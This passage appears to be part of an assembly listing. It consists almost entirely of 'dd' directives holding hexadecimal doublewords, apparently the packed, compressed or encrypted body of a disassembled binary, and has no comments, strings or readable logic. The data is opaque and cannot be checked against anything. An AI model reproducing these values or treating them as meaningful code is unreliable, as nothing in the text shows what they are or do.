0ACD0619Eh, 0E192D678h dd 0F07F2300h, 8400000Ah, 0D323B960h, 1C6C0227h, 6ABA50C9h dd 0B5059B96h, 344DE346h, 0D653A8CBh, 230EF040h, 6DC43D8Dh dd 0B97887D7h, 48354E23h, 5A7EE064h, 0BF8106ECh, 95E24FB1h dd 46B9C5FDh, 0B8744A1h, 0DAA7FBD5h, 5AF23FA5h, 0F82BA7F4h dd 35ECD990h, 0B05176FFh, 2CAAE9Bh, 84525A79h, 0B9703E4Ch dd 91DE53ABh, 2D7BBA8h, 915F5A79h, 1701F32Bh, 0D8C57CECh dd 575E238Dh, 39FA4715h, 60602359h, 9D8A9FF4h, 606023B9h dd 773B7341h, 44BDCB61h, 5808A0EDh, 695189A8h, 4EB2ACBFh dd 19FDEAFFh, 0A1606030h, 53B97889h, 50A91Bh, 40520000h dd 4041704Dh, 28D28251h, 0E41CB401h, 91FB2CD3h, 9F29EDDAh dd 95B15176h, 85727881h, 5A7962A1h, 0AFA75B29h, 9047AD88h dd 63B07982h, 432714CBh, 0CB5A7952h, 0A4B2C5FDh, 0F3ED45Dh dd 5A795331h, 4FE54CB3h, 0E22F02FFh, 9F63Eh, 0FB2CA100h dd 7AEDDA91h, 82517CDBh, 10EFFDB4h, 0C43B8B21h, 0B4A1B66Dh dd 5A7EDDD0h, 0A9528A58h, 0DB92FA2Dh, 69E596EEh, 91481657h dd 0FEB57C83h, 24B550ECh, 84BCEF9Eh, 74BD4292h, 1078AB27h dd 0F1E16C59h, 0D6E45D50h, 0C4D20A0Fh, 76DC55ACh, 155CDC52h dd 53F7D4D9h, 99Bh, 780E0BD9h, 0C157D228h, 0FA57471h, 5AF041BFh dd 0A238F10Ah, 0FEFD2089h, 0B945952Bh, 6F92E278h, 23DC2CC2h dd 8AA3780Eh, 7EE2B99Dh, 0D65B415Ah, 91D407E7h, 54C4EF54h dd 0BF728F9Dh, 0D4371B08h, 0F1BF5491h, 69B9A6B9h, 0E9517CDBh dd 624F641Bh, 5A7EDD7Eh, 0ED003806h, 7B1120DFh, 1F0CD42Bh dd 5A7EDE3Bh, 428FF5C3h, 742B9DC6h, 8594515Fh, 7D68A038h dd 5763DBC6h, 62B72E46h, 0F3177D15h, 0DF027345h, 10AE522Fh dd 64000009h, 0B3039980h, 0FC4CE247h, 4A9A30E9h, 95E57BB6h dd 142DC366h, 0B67388ABh, 32ED020h, 4DE41D6Dh, 999867B7h dd 28152E03h, 5A7EE244h, 0C661E6CCh, 0C2ABF839h, 98E54CB4h dd 43BCC800h, 0D82937EEh, 0DD782159h, 50FA6D7Bh, 90457CF8h dd 0DBAA8E7Bh, 64325491h, 95E247B4h, 0D653C5FDh, 0FE000003h dd 0DA91FB2Ch, 7CDBA1EDh, 0E4162451h, 2860F845h, 8558FE1Ah dd 1471362Ch, 16E9F7AEh, 0CA35851Bh, 59452916h, 2FCF5A7Fh dd 0D2825002h, 4E9B0128h, 7F59AD8Dh, 0FA62955Ah, 1EC93543h dd 68004DDCh, 0E51DB502h, 582EE5D2h, 8FAE5764h, 665BBEA2h dd 79B84860h, 0C6E2942Ch, 4DDB3C2Bh, 0C3298FC5h, 24DA39Fh dd 7418F5DFh, 843h, 0D066B331h, 19AF7A80h, 67FD1CC9h, 0B248E917h dd 0FA909962h, 0A65578E1h, 619DED83h, 17EA3AD0h, 0CB34841Ah dd 0E2FBD066h, 7EE411F5h, 2EB3995Ah, 0ABF839C6h, 0AEFB36C9h dd 604D6213h, 5491D37Ch, 75863604h, 22B87CB4h, 0C87FFA0Ch dd 11F8330Fh, 0F747F1D9h, 0E28457Ch, 0D1000003h, 0EAEBCFBCh dd 0A5735491h, 7E75C6Dh, 0EF5491D4h, 0B09D54C4h, 517CDB22h dd 8F9D5422h, 0DB2BC170h, 48560D24h, 4C2E7BB6h, 0E1197FB2h dd 4D3A4F38h, 5A7EDD69h, 45EB23F1h, 886C5912h, 105A7EDDh dd 3825DC42h, 5763DB81h, 3D0F3301h, 0AFDF0274h, 7912ED2h dd 1E30000h, 0C8328218h, 6A7BCB61h, 37C919AFh, 0E71464FAh dd 2A93AC42h, 9F35F407h, 0EC82AF4Fh, 36CC659Ch, 821819E6h dd 0C3A794ADh, 4B5A7EE4h, 39C6E065h, 36C9ABF8h, 6213AEFBh dd 0D37C604Dh, 36045491h, 0B9AC3AFEh, 457CF80Fh, 6FBA414Fh dd 0E0528A22h, 261h, 0AD847B89h, 7E76475h, 825491D4h, 0D39C806Dh dd 56245491h, 9FD75AA6h, 0A75ECEF9h, 0ED008092h, 32E210F4h dd 0F08A0FFAh, 0BC8A517Ch, 2908F705h, 75BC4393h, 0CF313F28h dd 457D1562h, 4D04749Fh, 63EEB160h, 3F633157h, 0DF024517h dd 0E8E08461h, 8C000006h, 0DB2BC158h, 24740A1Fh, 72C258C1h dd 0BD0DA38Eh, 3C55EB3Eh, 0DE4BB0D3h, 2B06F848h, 75BC4595h dd 0C1708FDFh, 503D562Bh, 5A7EE46Ch, 0C6890EF4h, 0C9ABF839h dd 0DAAEFB36h, 0B599869Bh, 3D5491D3h, 6573376Fh, 6A0031CEh dd 7CFC943Eh, 34C6D445h, 74BBDF5h, 0F6000000h, 1B004h dd 0AABF6700h, 91D3D9BDh, 5B936154h, 91D38E70h, 0E3557E54h dd 0DABD3F2Ch, 0A9C5517Ch, 1E5CA6A8h, 1FD63CCEh, 0C44ED11h dd 1D14EBF9h, 0D1B3087h, 0CCB03FF2h, 545A7F0Ch, 0BD424E86h dd 78AB2774h, 0BD6C5910h, 3D576408h, 2B154B6Fh, 825FDF02h dd 636DEh, 73A63E00h, 0BC6D8DDDh, 0A0FD626h, 55DC2474h dd 9D8C6FBFh, 6285EE07h, 0AAFA9099h, 0F747DD54h, 4191270Ah dd 8DD73BEh, 0E61E02EFh, 0C0A65A7Eh, 50B1BF3Bh, 0C4FC94E1h dd 279C47B8h, 50C6D77Ah, 0B2B85004h, 0FD21DF4Ch, 53614A97h dd 0A13986ABh, 8FA25D69h, 94856042h, 959C6547h, 374A6248h dd 355A173Ah, 0E9B644F2h, 0B2815747h, 0F74EE44Dh, 0E31B16E9h dd 7C5151FBh, 73245h, 4DD0000h, 0D9h, 0D406E767h, 0CDF65491h dd 0D4391D0Ah, 0F3C15491h, 0AFC1D68Dh, 4731435Dh, 624D850Dh dd 517DD4E7h, 5C6A21EFh, 0A8F88EA3h, 0A48DDA57h, 0D7BEA28Fh dd 78465A7Fh, 0FF699A40h, 0D3AC5B48h, 102C5764h, 3A745980h dd 8EB2184Bh, 0DF00C3DCh, 60CB6F4Ch dd 14000005h, 63B349D0h, 0ACFC9297h, 0FA4AE039h, 45952B06h dd 0C4DD73B6h, 66C3385Bh, 0B37E80D0h, 0FD34CD1Dh, 49E81767h dd 0D8C5DEB3h, 5A7EE6F4h, 0C611967Ch, 0C2ABF839h, 669946B4h dd 801865CBh, 6EC33C48h, 8F5D4D21h, 54EA47B8h, 7CFC7E28h dd 12ACBE45h, 1415E63Bh, 0CB7B2FC7h, 5FD1097Eh, 7, 1F040Ah dd 0C6670000h, 0C9ABF839h, 0FCAEFB36h, 0DC2332C8h, 5668BF55h dd 807C1F88h, 0BC8AC2AFh, 12h, 0F839C61Fh, 0D40BEAABh dd 32145491h, 0BF728DA4h, 39C6D429h, 42FABF8h, 0CC7CB54Ah dd 15ADFA2Fh, 17EAF8AFh, 0FD35CD1Ah, 34C7D5EAh, 0D810A8F5h dd 7CDB7AEDh, 76638251h, 5A7EDD92h, 2FE64C1Ah, 552DF21h dd 1422356Dh, 59B046EBh, 0F3130347h, 4A37AB4Ah, 5A7F2F66h dd 0ABA20EEh, 55ED3AF7h, 43EE111Dh, 95497AF6h, 0DE76C366h dd 96E9E62Ah, 0A40AA9C8h, 39A800EDh, 5A28576Ah, 0C76A95A3h dd 34CCDA31h, 2CCEB0FDh, 535F97FDh, 0B9CE85ACh, 6C3BE8CCh dd 6AA27060h, 0AA1245C1h, 0C599E1F3h, 75B5576Dh, 0B23D2A3Dh dd 0BA5D511Bh, 1FEC6F9Eh, 7EE4A9E6h, 15221A5Ah, 0E18562D9h dd 41Bh, 0F88E8B59h, 41D752A8h, 8F25F4F1h, 0DA70C13Fh dd 22B8718Ah, 7E7DA009h, 39C515ABh, 0EF1262F8h, 0A35CAC42h dd 0A23F88Eh, 7EE8391Dh, 56DBC15Ah, 62F839C6h, 0F744ED12h dd 9047EA15h, 9579667Bh, 1D5491D3h, 0D3DCC04Fh, 96645491h dd 0F1E1B55Eh, 7233451Bh, 2E12FF30h, 0B654929Bh, 0E05434E8h dd 0CD323E76h, 0F8A2CE64h, 0D9457CEBh, 35h, 43FB2C84h dd 0BD96D8E6h, 82399FAEh, 76F7D195h, 523F5451h, 5A79796Eh dd 0E2F028F6h, 0B24F5D14h, 0DCBAE97Fh, 5E5A7979h, 0AAFA90A1h dd 0E98DDA57h, 377h, 91FB2C4Ch, 0DACAEDDAh, 4D25176h, 25C0CEB7h dd 4FB0BCF4h, 4378B394h, 1C824740h, 889A1DCFh, 26D45520h dd 9570248Ah, 0CD7569E5h, 8D5B1F57h, 0CA81EB1Ch, 5E14BADDh dd 5EF4C257h, 22D94374h, 451D1235h, 0FF4C1A5Dh, 0E9F20816h dd 0E188E8F4h, 457DE3FFh, 1A67C239h, 1BCAD875h, 0F402C6FEh dd 70544156h, 0F86646DBh, 1B4CF22Ah, 0EA0DFAB1h, 0ED632BE2h dd 0E607EBD8h, 0C18F6C2Dh, 17AD7B89h, 36AF38C7h, 98FE96E3h dd 0A750624Bh, 9365710h, 0ADFA37CAh, 6B77AF15h, 0D1E69D94h dd 2ED200E4h, 82BA886Ch, 0B7DA690h, 0DE086754h, 70886913h dd 0ED3AA091h, 2405F604h, 1C073FD7h, 7215DE3Ch, 503BD1D7h dd 58F8F2A6h, 2887h, 0FB2C3200h, 0B7C5DA91h, 0D1609E49h dd 8148336Bh, 15176FBh, 4525E633h, 0E05A78FBh, 0AF590CDAh dd 90409BD4h, 0B8h, 0AE39C63Bh, 2E7BE150h, 69C83745h, 53D62531h dd 56DB2406h, 0FD82709h, 5CF441F0h, 0CA3160F6h, 0CC5491D0h dd 1168FE33h, 0D82B0FFCh, 0E5B35491h, 0D35EA1ADh, 6FD90A86h dd 6C95A3B8h, 0AFA28DC5h, 0B75176C8h, 3E6953E9h, 0C42A17CEh dd 0C4575F82h, 0CA313FF6h, 0D9C12511h, 31979CB5h, 79B04B9Bh dd 6152955h, 6AA87DFh, 217h, 0FC92875Dh, 45DB4EACh, 9329F0F5h dd 0DE74BD43h, 26BC6D8Eh, 7A81A40Dh, 35C919AFh, 0EB1666FCh dd 9F60B046h, 0E27FC92h, 7EEA3D21h, 5ADFC55Ah, 81A635C6h dd 6F617592h, 0FD4AE719h, 399FF65h, 4FE54CB3h, 1B16EAF8h dd 0EDFE36CEh, 0DA91FB2Ch, 0C45930C8h, 56D1363Dh, 0AA722653h dd 9FB2EA50h, 7758EBB2h, 509D6B51h, 7958AF8Fh, 0B6444A5Ah dd 9B7919C3h, 0E2FA40h, 0C6A50000h, 0E281AA39h, 0E8A18572h dd 5B295491h, 8F73E2A7h, 9257BEA2h, 12784654h, 64765FACh dd 92EF7A1Fh, 6C78B090h, 8C4D9A8Fh, 54923825h, 0C359D827h dd 0EEA58C73h, 8573F1DCh, 2AF7D807h, 1B12DAC3h, 0E992CA30h dd 9F843A6Dh, 0F4376FFAh, 0EF0AEDC7h, 6593673Bh, 685B48FFh dd 70517728h, 0F1220CA2h, 50342136h, 0D85A794Eh, 4E977B0Ah dd 511F5A79h, 83D059A1h, 0E1CE85EBh, 575FDE9Ch, 89974E1Ch dd 0D121B772h, 0ADDBFF2Ah, 0F7DF0552h, 109761Ah, 796B0000h dd 40BA0AA0h, 0E20353E9h, 0AF51A137h, 5F9CEC82h, 0B21B34CAh dd 27BD6C8Fh, 740A27D7h, 0BE54DD24h, 0AA0916Eh, 4B2F1C35h dd 0D35A7EEAh, 35C668EDh, 0F5075EF4h, 8305F571h, 0ED11C1FDh dd 0FF000C44h, 0C2697B32h, 7CEFB234h, 6EC3B5EDh, 0ABF839C6h dd 50B136C9h, 0FBE57BE1h, 0BCA960C8h, 517CDB51h, 0C2D48B59h dd 299BE2EBh, 0B933DD5Dh, 86F644C3h, 9E8B7020h, 24DBBD66h dd 0D827770Dh, 7B8DA259h, 4E30835Ch, 19FD8CBBh, 0A15A7F20h dd 56DB23D3h, 90397109h, 0E85B6ACFh, 9E936C2Ah, 9F926F51h dd 0A0917052h, 2919BB53h, 1A4ECED3h, 5D8A75CCh, 1FDC8C9Dh dd 0BE0EA40Ah, 0D75AA641h, 2D3B2471h, 7A125FD2h, 67CA3642h dd 0D127751Ah, 2CDA697Bh, 2EE237AEh, 0EC24D926h, 5B121FE0h dd 447CAD4Dh, 0EAFD0252h, 66B31910h, 1AC2h, 210E2300h dd 0CAEA023Dh, 0AEBFF7C5h, 0EEFC1158h, 0AA8E1D0Ch, 325491D3h dd 0C61B2C64h, 0CCAEFB1Eh, 0CFB1FE33h, 0D0B2FF32h, 0D4B6032Eh dd 0D3B50227h, 0D2B40128h, 0D4B6032Eh, 0D9BB0811h, 6FBB0821h dd 38B668h, 240C8900h, 0C181E189h, 4, 8704E983h, 525C240Ch dd 0C281E289h, 4, 4EA81h, 14870000h, 0C895C24h, 5A9C6824h dd 1C890000h, 0F7DB924h, 0C181620Ah, 47D50DDBh, 649ABB53h dd 0E3C15CB4h, 2EBC107h, 8190F381h, 0D929B57Eh, 4EC815Bh dd 89000000h, 4832424h, 505B0424h, 8B8h, 53D80100h, 0BBh dd 89C30100h, 0FF585B0Bh, 815B2434h, 4C4h, 2434FF00h, 4C48359h dd 0FA672EE9h, 616DDFFFh, 4D7C29FAh, 41FA49E4h, 0D3B88115h dd 305ED18h, 4CE0FFC5h, 933524D3h, 8F7E670Eh, 3660FD9Dh dd 0D273AFB0h, 574465C9h, 0A5614738h, 4F7BFF7Bh, 13521747h dd 0F20CD4D5h, 0A66EEC60h, 0F4581F69h, 0F602BA9Fh, 9715A063h dd 0CE01BFCCh, 0D0314C50h, 301E7633h, 0C42E5F99h, 3E3AC50Dh dd 0CE2DFE3Bh, 0F94F51FDh, 0F8435E1Ah, 354F327Ch, 9E226A14h dd 10372C26h, 0E9460B43h, 17Dh, 4FFE5D60h, 6FC2016Ch, 0B4CAD1D7h dd 5B7E41EFh, 5D9752E4h, 0FCA3FB6Dh, 9EB99244h, 0BCD792A5h dd 93B9E495h, 9DB2CB00h, 9CACA3F4h, 9EB9FCh, 0AFC945D2h dd 0FC00EE73h, 9CBA9755h, 0A4E56D59h, 0FEACFFB2h, 5657F647h dd 0CCD4C4h, 8F7DB5F6h, 539549F7h, 0C9BCFA97h, 915CCD45h dd 0ACE56CA1h, 10000h, 43h dup(0) dd 36D1F800h, 0C20DA437h, 0C4D31AD3h, 10A2E976h, 16680000h dd 0E905ED1Dh, 0FFFB2DF5h, 0ED1E6368h, 2DEBE905h, 0F468FFFBh dd 0E905ED1Fh, 0FFFB2DE1h, 0ED20CF68h, 2DD7E905h, 1E68FFFBh dd 0E905ED22h, 0FFFB2DCDh, 0ED232968h, 2DC3E905h, 0C368FFFBh dd 0E905ED23h, 0FFFB2DB9h, 0ED243368h, 2DAFE905h, 5268FFFBh dd 0E905ED25h, 0FFFB2DA5h, 0ED25EA68h, 2D9BE905h, 9968FFFBh dd 0E905ED26h, 0FFFB2D91h, 0ED278668h, 2D87E905h, 2D68FFFBh dd 0E905ED28h, 0FFFB2D7Dh, 0ED298C68h, 2D73E905h, 6D68FFFBh dd 0E905ED2Ah, 0FFFB2D69h, 0F17FC91Dh, 109E2A3Dh, 2CBA145Ch dd 47D57B78h, 65F34593h, 46947052h, 0A3B266F4h, 82CF8311h dd 0F6E89C2Ah, 0B599B644h, 3E679C81h, 0A87E6058h, 85823426h dd 2134BDAFh, 44979693h, 790AE4B6h, 8DBFE115h, 14025BCCh dd 0AB9882B3h, 4BE6FD24h, 88999B98h, 0A658445Ah, 5184C8Eh dd 0F758445Ah, 3712D44h, 0A7017D13h, 3188BEh, 8920000h dd 4B399DE6h, 0C7E49B0Fh, 0F6D2E99Dh, 0CBFC56C2h, 96CA8E5Bh dd 5843FC87h, 726FC275h, 43FCB170h, 17857D58h, 0A72B9127h dd 0F79CBEh, 26A60000h, 301E8234h, 0CFE246Dh, 0BE6D956h dd 0FBCDD5F5h, 461C91A8h, 0D3A9A610h, 5C322F81h, 4A2AB80Ah dd 5E2B5005h, 17A5B6BEh, 0BA0C5E00h, 0D466782Ch, 7C0BE3D7h dd 5410E418h, 61145BCCh, 0BFED01D3h, 0A20C44ADh, 53A6A5h dd 26689Ch, 8B7955DBh, 47EF2418h, 0AF4A6113h, 5A9098FCh dd 164A8CF0h, 5E1CF607h, 0F69D80B4h, 0AC5F5E1Ch, 0B9BFD689h dd 3265D705h, 0C4CAC600h, 4F11F58Eh, 3C00000Eh, 5C109E28h dd 7B2FBD0Bh, 974BD977h, 0B266F458h, 718412A4h, 13A5B38Fh dd 309CD185h, 49E3EEA2h, 63D507BBh, 0A0D4B8D5h, 583E657Dh dd 0ECC79D7Fh, 82A776AAh, 0E0145E2Bh, 5E2B823Dh, 36E90CBFh dd 6A67C50Ch, 0A4B2546Bh, 4C331301h, 8A7B1C18h, 2B21E934h dd 15681B5Eh, 0E23B6FB1h, 225E2B21h, 0A0F35998h, 9DCF8389h dd 6DAF9D2Bh, 2B21E439h, 4E65185Eh, 8CE608A2h, 2B82C558h dd 3184375Eh, 15498BCDh, 5E2B8208h, 643249FCh, 5BCCAAB4h dd 37F4E7EFh, 445A1A03h, 0E437EA58h, 36D1E8E7h, 0DA171F83h dd 59F02D61h, 61145844h, 3055110Eh, 16C51B34h, 78ED0457h dd 440DAB76h, 1D8B8358h, 0A71A972Dh, 0CAA2BEh, 26AC0000h dd 0AF858234h, 10120FB9h, 5E2B853Fh, 896283Ah, 0B3B00254h dd 0F4582FBFh, 0CC8234C0h, 0A2AE385Bh, 0BD100F0Ch, 0E1915D2Fh dd 3584DEF3h, 99EFE359h, 5843A784h, 0ABCE6271h, 0FF41A5F8h dd 0F1791A11h, 0E0F787D1h, 0DA628D12h, 60C47755h, 75A8DC1Eh dd 875E1D21h, 219F7ED4h, 0AA5D5E1Dh, 0B9AFB793h, 2153CAFEh dd 0FEB15E1Dh, 272F1DABh, 88878428h, 2F99CF71h, 0CA9AC0FCh dd 5539D2C4h, 0D02h, 5DEB5589h, 7C0AB6A9h, 982688C8h, 0B341EFE4h dd 0D15FE9FFh, 0EA00DCBEh, 0CF1ED260h, 363BEF7Dh, 2540896h dd 210522B0h, 3E6430EDh, 1CF2D458h, 41EFE4ECh, 0ADE14544h dd 5E2B8270h, 28CAE194h, 46FA8832h, 5614A214h, 85823426h dd 3F34BDAFh, 0C71AACBAh, 0A9FC489Dh, 2E3F2D1Bh, 0A875A9E8h dd 5C5E2B2Dh, 0E91499A9h, 41AD6D84h, 0AB20FD31h, 31E45E2Ah dd 5E467ADEh, 9E5BCBD1h, 35ECEEEBh, 0C8584386h, 5228258Bh dd 19B5B204h, 9FCEA10Fh, 0E9E1DA2Dh, 0A0F58B7Bh, 6B00BEA7h dd 0A000000h, 399DE608h, 0CC826F05h, 5CC0735Bh, 0B6B30154h dd 292BA0B7h, 584480F8h, 0E0D03E36h, 0BEA6DA4Ah, 4555h dd 2B272F00h, 8C26E85h, 0F7399DE6h, 98DF5909h, 0F8F7F446h dd 0C793F1E8h, 0F506E2B0h, 4BFE5BCBh, 0EBD54C4Eh, 61595843h dd 70A4E6F3h, 5843EBADh, 0C6578B4Fh, 365843EBh, 5A193083h dd 0BEA73CC4h, 0ECFh, 0EB18D900h, 7E000008h, 0D4D17B76h dd 812BED5h, 5399DE6h, 5BC698CCh, 0F9016518h, 0D9C755E7h dd 67BA6397h, 974A583Eh, 3A8CDE80h, 0DEA5493Dh, 2330387Ah dd 3B91908Dh, 583E66E2h, 7C586F22h, 0D97F0A48h, 379B4E55h dd 805CC1F5h, 16A05E2Bh, 797875C7h, 2B330F26h, 1B238739h dd 7B7A77C9h, 0B4B11B51h, 0E4989EB5h, 121283F2h, 655933D9h dd 0CD211512h, 361E52B6h, 365BCC65h, 62125083h, 0E780CAA3h dd 0B7103h, 7CCA1A00h, 9B293AEEh, 0B719590Dh, 0D27E7529h dd 0F05A9044h, 916D4F62h, 0AF63F15Bh, 0CC800EBEh, 0E5992785h dd 96B341F3h, 639F7EB2h, 7B5D583Eh, 8327FAA5h, 0AE9C5E2Bh dd 0A1FB4A6Eh, 5C1C3318h, 598DF192h, 5BC65388h, 4D3BC97Ch dd 143CD75Fh, 0E5677582h, 67AF22Eh, 7FE9F94Ch, 77578C3Ch dd 5C925269h, 5693C72Bh, 2E55D933h, 0DD0F177Bh, 3729DD6Bh dd 5A948885h, 7B83C529h, 9984DA6Ah, 6B5E2B03h, 91C5A1B8h dd 5BC61BE9h, 0AEB61ACDh, 0C87C0ABCh, 17272496h, 2A86CDD5h dd 45D82E2Dh, 0B7583E1Ch, 1FED04h, 0DFD83E1Ch, 7FEBB0Fh dd 7227DEB5h, 0E0CDBB1Fh, 0CE88BB1Dh, 0E729051Ch, 4EAC71A5h dd 9D50D83Eh, 5714B886h, 0B568D5DFh, 0C6773A82h, 0DBBF5844h dd 0A96h, 0C957E1F5h, 0E876C215h, 4923C34h, 1FAD0350h dd 3DCB7D6Bh, 7E6C482Ah, 5B8A3ECCh, 0AAA75BE9h, 0AEC07402h dd 8D718E1Ch, 3E62C459h, 80563858h, 45F3E4ECh, 6077C91Bh dd 0C5E4EA0h, 94BEBDBAh, 3DA1F446h, 0C697D809h, 0A6BC2C5Bh dd 2AF3279Bh, 0DA583D9Dh, 338F1727h, 5A62C619h, 6452B608h dd 0FD780773h, 0CED4EB60h, 3165C81Ah, 583E56ECh, 0E7558610h dd 4598EBEAh, 0E99A5448h, 6D945185h, 0F53755D9h, 2B515CC1h dd 0BEFFB35Eh, 0FC3AEA94h, 0AE1626D9h, 0D4743BC4h, 8336D1E8h dd 73C5171Fh, 8B3F210Fh, 0D0ED7EACh, 0EDFFB3B9h, 846A5E5Bh dd 0B76B9F03h, 5B5BC5C1h, 0DD309CD1h, 1A033779h, 0EA583DB5h dd 273AF27Ah, 0B80B10B9h, 0ABBDC5A1h, 959D8B19h, 38DAF143h dd 95979426h, 583E268Ch, 88EC9B53h, 9F2D3E46h, 0BE8CA3A2h dd 55D93C5Fh, 4486EA9Dh, 3C4FCE02h, 0FAAD5E2Bh, 0C62F41E3h dd 2B2A2795h, 44964AD8h, 3165D61Bh, 5E2B3BECh, 0B70A5D10h dd 9BCF1153h, 5E2B3C82h, 0A479CF82h, 585E2B3Ch, 9198EA5h dd 4A61EB01h, 0BF23648Ah, 0C6525E8Bh, 8683365Bh, 0C72B5C92h dd 0DF3D9993h, 0C3F6A955h, 0C4C67FA9h, 4708EC85h, 44000009h dd 6418A610h, 8337C573h, 9F53E14Fh, 0BA6EFC50h, 798C1AACh dd 1BADBB97h, 3884D98Dh, 51FBF6AAh, 6BDD0FC3h, 0A8DCC0DDh dd 583E6075h, 26CFA587h, 75858234h, 83B7646Dh, 5E2B829Ah dd 6764B76Ah, 0BDAF5168h, 22380E0Bh, 8CC59B98h, 0EF62320h dd 0F06EA4A0h, 0BBDAF82h, 0A516AC7Dh, 0C21B8BFh, 2B000000h dd 42ECE4ECh, 5297B2Bh, 0EC110000h, 82A776AAh, 0A2555E2Bh dd 4293DA8Bh, 65D304ACh, 0B2166968h, 0CCB03E7Eh, 50BBE5Bh dd 3920B615h, 6349A587h, 0C3C2BF71h, 0DCCA0C70h, 3463B68Eh dd 9361786Bh, 84E07489h, 5BC2F638h, 0A98B2064h, 0BA44DFF6h dd 5FC316A8h, 4D28BE71h, 0F910D978h, 255E9084h, 89338DC1h dd 0E0CE88B6h, 84A23749h, 740F268Dh, 1E555DC1h, 9FB6B5B2h dd 17A9BBC3h, 25599B89h, 8749AAF8h, 6360CC05h, 778E4164h dd 0EC2083D5h, 8749AB31h, 0A70949D3h, 0AACE0154h, 789B9E0Fh dd 83CFBDFh, 1F4F0000h, 7C6F23B1h, 428E42D0h, 0A5AA5EECh dd 97C57907h, 0A2849725h, 982690C6h, 0B543F1E4h, 0CE5CF001h dd 0E876C81Ah dd 6AB3E7CBh, 9A583E5Fh, 3426E2B8h, 0B9AF8582h, 0A6BDAB0Fh dd 0E9857D56h, 2CFE041Bh, 295DC1C2h, 5BC5E4E2h, 0CB796CF6h dd 9ED21478h, 583DD97Fh, 0D7B3CA7Dh, 0E95B8D95h, 34D6EDECh dd 4E029022h, 0B9ADAA1Ch, 0FCEA4E35h, 7FAB0876h, 0DEBAD168h dd 0D8C43BAAh, 82CF5955h, 0DB2E2D2Ah, 0CB7D6F77h, 0E557893Dh dd 72C412E8h, 0BD07193Fh, 8064FDC4h, 7A2h, 0BD4BF5E9h dd 0DC6AD609h, 0F8862828h, 13A10F44h, 31BF095Fh, 0A603C1Eh dd 6F7E32C0h, 569B4FDDh, 0A2B468F6h, 81658210h, 3E5FD04Dh dd 7C523458h, 399DE608h, 825AC3F7h, 0F7AA5E2Bh, 15D004E0h dd 0F75BC698h, 86D8E044h, 0E0F2A634h, 93C76477h, 583E688Ah dd 2174C77Ah, 0C5BE3024h, 681B2D61h, 44F755DFh, 0C6532111h dd 7458F1C4h, 732h, 2DBB0559h, 4CDA6679h, 68F65898h, 8311BFB4h dd 0A12F99CFh, 9AD0AC8Eh, 0FFEEA230h, 0C60BBF4Dh, 3224D866h dd 0F1D5F280h, 3E5E60BDh, 0ECC2A458h, 85823426h, 0A70BBDAFh dd 81EC3165h, 5D105E2Bh, 71EFD146h, 8C3E3003h, 0D6A13A28h dd 77FB6D76h, 0F3895A60h, 0FEB8C0B9h, 18h, 3211808h, 3C7E0000h dd 2B821508h, 0F177E75Eh, 58B22641h, 0EE9AB104h, 0E0C53426h dd 7475CBD5h, 4850B407h, 2D9FD112h, 5A4EC3DAh, 5B8FF394h dd 5BC61F8Ah, 9549D78Ah, 4B8DF143h, 3E210617h, 2C43F658h dd 848BE1B7h, 0B71546DCh, 7806594Ah, 0FA2E48A6h, 583E0123h dd 393688DAh, 1164173Ah, 0ACA5ADh, 11ED0403h, 1F26E1CFh dd 0A1320FC5h, 1C8ABC8Ah, 34555D9h, 2B1C4ECFh, 0B03EAE5Eh dd 9D94754Bh, 37D2E93Ch, 0C6182084h, 2032E674h, 8F3C2A8Eh dd 14B964D4h, 8D63D8EFh, 8189ED5Fh, 8697CB70h, 765E2B29h dd 0E45970C3h, 2185FEF0h, 0CC4193EDh, 89BC6F5Bh, 0CAA37987h dd 13967A13h, 78000006h, 984CDA64h, 0B76BF947h, 0D38715BBh dd 0EEA2309Ch, 0ADC04EF8h, 4FF9EFCBh, 6CD80DC1h, 85272ADEh dd 9F1143F7h, 0DC10F411h, 583E5D41h, 0EC0BE1C3h, 0EF3C3AFEh dd 93C48909h, 0ABA8D225h, 0F2090805h, 87D51E50h, 56318578h dd 96E9AEBFh, 7E704643h, 0F8F9CFCCh, 6C815754h, 4A7B6E0h dd 2B494DD0h, 0A9FCAF5Eh, 34A274ACh, 28A2F37Bh, 0A4F778A1h dd 0AF82F06Eh, 0AC7D0BBDh, 0B8C01C16h, 721h, 4B182B00h dd 0AE000001h, 4F823426h, 0C4BC3943h, 7B5236CFh, 10000005h dd 30E472DCh, 4F03913Fh, 6B1FAD03h, 863AC864h, 4558E650h dd 0E7518763h, 4B0A559h, 1D8FC276h, 3789DB8Fh, 74A88CA9h dd 583E5DA9h, 26A3795Bh, 75858234h, 821EFF33h, 2BDE5E2Bh dd 0CE607214h, 29F4286Ah, 0DB5E2B82h, 0BA9C1128h, 0E9FBCE3Ch dd 62F8C957h, 6DB8BFD9h, 1Ah, 0D81877h, 3C7E0000h, 2B821508h dd 0A34E75Eh, 0A45067C5h, 0C518h, 0E608AE00h, 0E005399Dh dd 245BC698h, 95F94B9Ah, 3E67BC61h, 3A8D4058h, 30252D3Dh dd 41AD6D84h, 0BEAADE42h, 9555DF7Ch, 0D1E8448Dh, 82508336h dd 0D0C4C63Ah, 4CC5337h, 0AFBF0000h, 8CDF9321h, 0F2FEB240h dd 0D51ACE5Ch, 2735E977h, 12F40795h, 8962036h, 25B30154h dd 3ECC6071h, 58E6588Ah, 0FA23573Bh, 0A583E5Bh, 0E6085228h dd 3805399Dh, 0CC5BCCCFh, 0A5ADB519h, 0A18F7D0Bh, 0AC1BFD50h dd 1BE90074h, 5843A805h, 15A3B4BCh, 60021918h, 1658BC0Eh dd 3DE1AC28h, 0B006A992h, 5843CF6Dh, 80EBEBA2h, 0BCDF1AC9h dd 3A8D3F32h, 272F1D23h, 28C4C635h, 0B9DD2F91h, 536A6966h dd 120FA1B1h, 4412Eh, 0E608C400h, 0EFF7399Dh, 51504DE3h dd 8264B9EDh, 0E5985E2Bh, 98E500CEh, 0DEE65BC6h, 0C2FA808Fh dd 7ECE2A2Fh, 182F2E2Bh, 2466CA7Dh, 257BC91Ch, 583DECF8h dd 0CD42590Ch, 0A6E15D9h, 0DF0292D6h, 28293155h, 0BA0DBFADh dd 0CA7BEBDh, 779EE29Ch, 527C9F68h, 2A5DB01Eh, 0C4C72A52h dd 0DFA38720h, 0AC000003h, 0CC800EB8h, 0EB9F2D9Bh, 7BB49E7h dd 22D664C8h, 0E1F48234h, 833523FFh, 0A02C41F5h, 0B9135E12h dd 0D365772Bh, 10442845h, 583E5B0Dh, 8370DEFh, 5399DE6h dd 5BC698CCh, 0F9016518h, 0E9F155E7h, 3C4C49F3h, 3E671508h dd 0E134E758h, 0CED6C4CAh, 2E2D2A9Ch, 0D1637517h, 